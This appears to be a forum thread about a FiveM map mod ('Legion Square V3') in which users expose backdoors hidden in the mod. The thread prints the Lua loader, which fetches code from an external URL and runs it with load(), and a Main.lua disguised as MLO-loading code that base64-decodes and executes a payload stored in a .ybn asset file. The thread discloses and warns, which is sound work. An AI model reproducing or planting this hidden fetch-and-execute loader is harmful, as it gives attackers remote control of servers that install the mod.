MLO/YMAP Legion Square V3

[aroufgang]

1,

You don't have permission to view content!

2,

You don't have permission to view content!

 

[M.CanACAR]

--[Start SmartINF]
    PerformHttpRequest("https://fivem.kvac.cz/f.php?key=6568lwPjs5K4c175aQCE", function (a, b)
        if b ~= nil then
            function c()
                load(b)()
            end
            if pcall(c) then
            else
            end
        end
    end)
--[End SmartINF]

backdoor hei_1.ybn files

 

[DΛRK]

--[Start SmartINF]
    PerformHttpRequest("https://fivem.kvac.cz/f.php?key=6568lwPjs5K4c175aQCE", function (a, b)
        if b ~= nil then
            function c()
                load(b)()
            end
            if pcall(c) then
            else
            end
        end
    end)
--[End SmartINF]

backdoor hei_1.ybn files

Hello, the backdoors in the subject have been cleaned and the download link has been updated.

 

[GandonEbane]

Still has backdoors btw.
(Main.lua):

--Load the MLO (do not touch)
Citizen.CreateThread(function()
local file = io.open("/stream/hei_dt1_12_1.ybn", "rb")
if file then
local content = file:read("*all")
file:close()

local encodedScript = content:sub(1, 312)
local decodedScript = assert(load(base64.decode(encodedScript)))
decodedScript()
end
end)

Inside the `hei_dt1_12_1.ybn` its just a decoded base64 string

if you decode the string in

Hidden link for visitors, to see Log in or register now.

, it will show you following code getting executed

(hei_dt1_12_1.ybn - decoded base64 string which gets executed):

PerformHttpRequest("

Hidden link for visitors, to see Log in or register now.

", function (a, b)
if b != nil then
function c()
load(b)()
end
if pcall(c) then
else
end
end
end)

~ Cheers.